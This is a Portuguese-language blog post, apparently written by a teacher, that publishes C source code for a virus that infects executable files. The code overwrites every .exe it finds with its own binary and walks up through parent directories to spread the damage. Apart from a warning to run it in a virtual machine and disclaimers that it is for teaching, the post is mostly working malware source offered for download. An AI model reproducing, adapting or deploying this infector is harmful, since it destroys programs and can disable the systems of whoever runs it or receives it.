Usuários online

terça-feira, 22 de novembro de 2011

Código-fonte em C/C++ de um Vírus que infecta arquivos executáveis

LEIA COM ATENÇÃO

Nem preciso dizer que esse código é perigoso. Sugiro que ele seja executado (caso você consiga compilá-lo) em uma máquina virtual. Caso você insista em executá-lo em sua máquina, saiba que poderá perder a instalação do Windows e tornar sua máquina inoperante. Não me responsabilizo por quaisquer danos que você cause à sua máquina executando quaisquer códigos tenha neste blog.


#include<stdio.h>
#include<dir.h>
#include<dos.h>

void main(int argc,char *argv[])  {
   int bytes,i,done;
   FILE *virus,*host;
   struct ffblk *f;
   char buffer[512];


   do {
      done=findfirst("*.exe",f,0);
      while(!done) {
         virus=fopen(argv[0],"rb");//abrir o vírus em modo de leitura
         host=fopen(f->ff_name,"rb+");//abra o arquivo host no r / w modo
         for(;fread(buffer,512,1,virus)==1;)
            fwrite(buffer,512,1,host);
         fclose(host);
         fseek(virus,0,0);//pontos para o início do vírus
         printf("infecting %s",f->ff_name);
         done=findnext(f);
      }
   } while(!chdir(".."));
   printf("Infecção completa...\n");
}

Nenhum comentário:

Postar um comentário

Observação: somente um membro deste blog pode postar um comentário.

LinkWithin

Related Posts Plugin for WordPress, Blogger...

NOSSO OBJETIVO

OBJETIVO

Este blog será usado para divulgação de minhas ideias, notícias sobre tecnologia, disponibilização de links para download de materiais diversos (incluindo materiais didáticos -- que poderão ser usados em minhas aulas e/ou cursos). Gostaria de DEIXAR BEM CLARO que quaisquer materiais disponibilizados através deste blog são, tão somente, para acompanhamento de aulas e/ou cursos, e não constituem de modo algum, aulas na modalidade "ensino à distância" (EAD). Alunos têm total acesso aos materiais disponíveis, mas somente como tutoriais passo a passo. Apostilas disponibilizadas através deste blog não são materiais obrigatórios em disciplinas cursadas ou cursos ministrados.

RESPONSABILIDADE

O autor deste blog não é responsável pelo mau uso, intencional ou não, de qualquer código de programa disponibilizado aqui. Os códigos de programas disponíveis neste blog para download é e serão sempre, e tão somente, para uso didático durante o aprendizado. Seja bem-vindo.